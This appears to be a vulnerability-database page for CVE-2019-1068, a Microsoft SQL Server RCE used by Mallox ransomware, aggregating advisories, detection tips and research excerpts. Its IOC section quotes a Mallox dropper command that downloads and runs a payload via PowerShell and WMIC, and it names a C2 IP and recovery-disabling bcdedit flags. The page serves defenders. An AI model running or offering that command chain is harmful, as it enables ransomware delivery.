CVE-2019-1068
published 2019-07-15CVE-2019-1068: A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL Server…
PriorityP187high8.8CVSS 3.0
AVNACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEVRansomware
Exploited in the wild
EPSS
33.02%
98.2th percentile
A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL Server Remote Code Execution Vulnerability'.
Affected
22 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | microsoft_sql_server | — | — |
| microsoft | microsoft_sql_server | — | — |
| microsoft | microsoft_sql_server | — | — |
| microsoft | microsoft_sql_server | — | — |
| microsoft | microsoft_sql_server | — | — |
| microsoft | microsoft_sql_server_2014_service_pack_2_for_32-bit_systems | — | — |
| microsoft | microsoft_sql_server_2014_service_pack_2_for_x64-based_systems | — | — |
| microsoft | microsoft_sql_server_2014_service_pack_3_for_32-bit_systems | — | — |
| microsoft | microsoft_sql_server_2014_service_pack_3_for_x64-based_systems | — | — |
| microsoft | microsoft_sql_server_2016_for_x64-based_systems_service_pack_1 | — | — |
| microsoft | microsoft_sql_server_2016_for_x64-based_systems_service_pack_2 | — | — |
| microsoft | microsoft_sql_server_2017_for_x64-based_systems | — | — |
| microsoft | sql_server | — | — |
| microsoft | sql_server | — | — |
| microsoft | sql_server | — | — |
| msrc | microsoft_sql_server_2014_service_pack_2_for_32-bit_systems | — | — |
| msrc | microsoft_sql_server_2014_service_pack_2_for_x64-based_systems | — | — |
| msrc | microsoft_sql_server_2014_service_pack_3_for_32-bit_systems | — | — |
| msrc | microsoft_sql_server_2014_service_pack_3_for_x64-based_systems | — | — |
| msrc | microsoft_sql_server_2016_for_x64-based_systems_service_pack_1 | — | — |
| msrc | microsoft_sql_server_2016_for_x64-based_systems_service_pack_2 | — | — |
| msrc | microsoft_sql_server_2017_for_x64-based_systems | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commandcmd.exe /C "echo $cl = New-Object System.Net.WebClient >%APPDATA%\alta.ps1 & echo $cl.DownloadFile("hxxp[:]///scavenger.exe", "%APPDATA%\box.bat") >> %APPDATA%\alta.ps1 & sqlps -ExecutionPolicy Bypass %APPDATA%\alta.ps1 & WMIC process call create "%APPDATA%\box.bat""↗
- →Monitor MS-SQL server processes (sqlservr.exe) spawning cmd.exe or PowerShell child processes — a key indicator of CVE-2019-1068 exploitation leading to Mallox ransomware deployment. ↗
- →Detect use of 'sqlps' with '-ExecutionPolicy Bypass' to launch downloaded PowerShell scripts from %APPDATA%, which is the Mallox first-stage execution pattern post-exploitation. ↗
- →Alert on WMIC being used to create processes from %TEMP% or %APPDATA% directories, consistent with Mallox ransomware payload launch after CVE-2019-1068 exploitation. ↗
- →Detect creation of updt.ps1 in %TEMP% combined with PowerShell -ExecutionPolicy Bypass execution, a hallmark of Mallox's download-and-execute chain. ↗
- →Alert on bcdedit.exe being called with 'bootstatuspolicy ignoreallfailures' and 'recoveryenabled no' — Mallox ransomware disables Windows recovery to prevent remediation. ↗
- →CVE-2019-1068 exploitation requires an authenticated attacker submitting a specially crafted query; monitor for anomalous authenticated SQL query patterns against internet-facing MS-SQL servers, especially from unexpected source IPs. ↗
- ·CVE-2019-1068 exploitation requires authentication — unauthenticated network scanning alone is insufficient to trigger the vulnerability; attackers may first brute-force or credential-stuff MS-SQL accounts before exploiting. ↗
- ·The download URL in the Mallox PowerShell dropper command is partially redacted/defanged in the source (XXXXXXXXX.exe); the C2 IP 80.66.75.37 is listed separately as a known Mallox distro/C2 address and should be used for blocking rather than the redacted URL. ↗
- ·Mallox affiliates are free to choose their own initial access methods; while CVE-2019-1068 is a documented vector, phishing delivering Cobalt Strike/Sliver and brute-force attacks are also used, so detections should not be scoped solely to SQL exploitation. ↗
CVSS provenance
nvdv3.08.8HIGHCVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vulncheck8.8HIGH
vendor_msrc8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-62pw-5pr4-ghr5: A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL
ghsa_unreviewed·2022-05-24
CVE-2019-1068 [HIGH] GHSA-62pw-5pr4-ghr5: A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL
A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL Server Remote Code Execution Vulnerability'.
VulnCheck
Microsoft SQL Server Remote Code Execution Vulnerability
vulncheck·2019·CVSS 8.8
CVE-2019-1068 [HIGH] Microsoft SQL Server Remote Code Execution Vulnerability
Microsoft SQL Server Remote Code Execution Vulnerability
A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL Server Remote Code Execution Vulnerability'.
Affected: Microsoft SQL Server
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Known Ransomware Campaign Use: Known
Exploitation References: https://securelist.com/mallox-ransomware/113529/; https://fortiguard.fortinet.com/outbreak-alert/mallox-ransomware
Exploit PoC: https://vulncheck.com/xdb/cb644b465351
Microsoft
Microsoft SQL Server Remote Code Execution Vulnerability
vendor_msrc·2019-07-09·CVSS 8.8
CVE-2019-1068 [HIGH] Microsoft SQL Server Remote Code Execution Vulnerability
Microsoft SQL Server Remote Code Execution Vulnerability
Description: A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions. An attacker who successfully exploited this vulnerability could execute code in the context of the SQL Server Database Engine service account.
To exploit the vulnerability, an authenticated attacker would need to submit a specially crafted query to an affected SQL server.
The security update addresses the vulnerability by modifying how the Microsoft SQL Server Database Engine handles the processing of functions.
FAQ: There are GDR and/or CU (Cumulative Update) updates offered for my version of SQL Server. How do I know which update to use?
First, determine your SQL Server version number. F
No detection rules found.
No public exploits indexed.
Securelist
Mallox ransomware: in-depth analysis and evolution
blogs_securelist·2024-09-04
Mallox ransomware: in-depth analysis and evolution
Table of Contents
Background
Timeline
RaaS promotion
Statistics on the RaaS affiliates
Typical infection scenario
Analysis
Earliest known Mallox version (9b772efb921de8f172f21125dd0e0ff7, v1)
Preparing for encryption
Drives enumeration and exclusions
Cryptography
Communication with the attackers’ C&C server
Recent Mallox version (e98b3a8d2179e0bd0bebba42735d11b7, v12)
New arguments
Preparing for encryption
Cryptography
Communication with the attackers’ C&C server
Timeline of Mallox versions
Cryptographic scheme in v5 and above: the “generated key” variant
Cryptographic scheme in v6 and above: the “embedded key” variant
Negotiation portal and DLS (data leak site)
Victims
Conclusions
IoC
Authors
Fedor Sinitsyn
Yanis Zinchenko
Mallox is a sophisticated and dangerous
Securelist
Evolution of Mallox: from private ransomware to RaaS
blogs_securelist·2024-09-04
Evolution of Mallox: from private ransomware to RaaS
Table of Contents
- Background
- Typical infection scenario
- Analysis
- Negotiation portal and DLS (data leak site)
- Victims
- Conclusions
- IoC
Authors
- Fedor Sinitsyn
- Yanis Zinchenko
Mallox is a sophisticated and dangerous family of malicious software that has been causing significant damage to organizations worldwide. In 2023, this ransomware strain demonstrated an uptick in attacks, the overall number of discovered Mallox samples exceeding 700. In the first half of 2024, the malware was still being actively developed, with new versions being released several times a month, while the Mallox RaaS affiliate program advertised on dark web forums was seeking new partners. This article aims to provide a comprehensive technical overview of the ransomware and its history.
## Backgro
Sentinelone
Mallox Resurrected | Ransomware Attacks Exploiting MS-SQL Continue to Burden Enterprises
blogs_sentinelone·2023-12-13·CVSS 8.8
[HIGH] Mallox Resurrected | Ransomware Attacks Exploiting MS-SQL Continue to Burden Enterprises
The ransomware landscape is characterized by a heavy churn in both actor groups and malware families, with only a few players exhibiting relative longevity. Once feared threats such as REvil and Conti have either been dismantled or dissolved, while others – ALPHV , Black Basta and LockBit , for example – continue to extort businesses with impunity. To this second list we can also add Mallox ( aka TargetCompany), a lesser-known but long-running ransomware threat first seen in 2021. Today, the group continues to steal and leak a steady stream of enterprise data.
In this post, we highlight recent Mallox activity, explain the group’s initial access methods and provide a high-level analysis of recent Mallox payloads to help defenders better understand and defend against this persistent threat.
Sentinelone
Mallox Resurrected | Ransomware Attacks Exploiting MS-SQL Continue to Burden Enterprises
blogs_sentinelone·2023-12-13·CVSS 8.8
[HIGH] Mallox Resurrected | Ransomware Attacks Exploiting MS-SQL Continue to Burden Enterprises
The ransomware landscape is characterized by a heavy churn in both actor groups and malware families, with only a few players exhibiting relative longevity. Once feared threats such as REvil and Conti have either been dismantled or dissolved, while others – ALPHV, Black Basta and LockBit, for example – continue to extort businesses with impunity. To this second list we can also add Mallox (aka TargetCompany), a lesser-known but long-running ransomware threat first seen in 2021. Today, the group continues to steal and leak a steady stream of enterprise data.
In this post, we highlight recent Mallox activity, explain the group’s initial access methods and provide a high-level analysis of recent Mallox payloads to help defenders better understand and defend against this persistent threat.
#
Qualys
July 2019 Patch Tuesday – 77 Vulns, 15 Critical, DHCP RCE, Exploited PrivEsc, SQL, Adobe Vulns | Qualys
blogs_qualys·2019-07-09·CVSS 9.8
[CRITICAL] July 2019 Patch Tuesday – 77 Vulns, 15 Critical, DHCP RCE, Exploited PrivEsc, SQL, Adobe Vulns | Qualys
This month’s Microsoft Patch Tuesday addresses 77 vulnerabilities with 15 of them labeled as Critical. Of the 15 Critical vulns, 11 are for scripting engines and browsers, with the remaining four covering DHCP Server, GDI+, .NET Framework, and Azure DevOps Server / Team Foundation Server. In addition, Microsoft has released Important patches for two actively exploited privilege escalation vulnerabilities, as well as a SQL Server RCE. Microsoft also issued two advisories for Outlook on the web and Linux Kernel vulnerabilities. Adobe issued patches today for Bridge CC, Experience Manager, and Dreamweaver.
### Workstation Patches
Scripting Engine, Browser, GDI+, and .NET Framework patches should be prioritized for workstation-type devices, meaning any system that is used for email or to acc
Qualys
July 2019 Patch Tuesday – 77 Vulns, 15 Critical, DHCP RCE, Exploited PrivEsc, SQL, Adobe Vulns
blogs_qualys·2019-07-09·CVSS 9.8
[CRITICAL] July 2019 Patch Tuesday – 77 Vulns, 15 Critical, DHCP RCE, Exploited PrivEsc, SQL, Adobe Vulns
This month’s Microsoft Patch Tuesday addresses 77 vulnerabilities with 15 of them labeled as Critical. Of the 15 Critical vulns, 11 are for scripting engines and browsers, with the remaining four covering DHCP Server, GDI+, .NET Framework, and Azure DevOps Server / Team Foundation Server. In addition, Microsoft has released Important patches for two actively exploited privilege escalation vulnerabilities, as well as a SQL Server RCE. Microsoft also issued two advisories for Outlook on the web and Linux Kernel vulnerabilities. Adobe issued patches today for Bridge CC, Experience Manager, and Dreamweaver.
## Workstation Patches
Scripting Engine, Browser, GDI+, and .NET Framework patches should be prioritized for workstation-type devices, meaning any system that is used for email or to acce
2019-07-15
Published
Exploited in the wild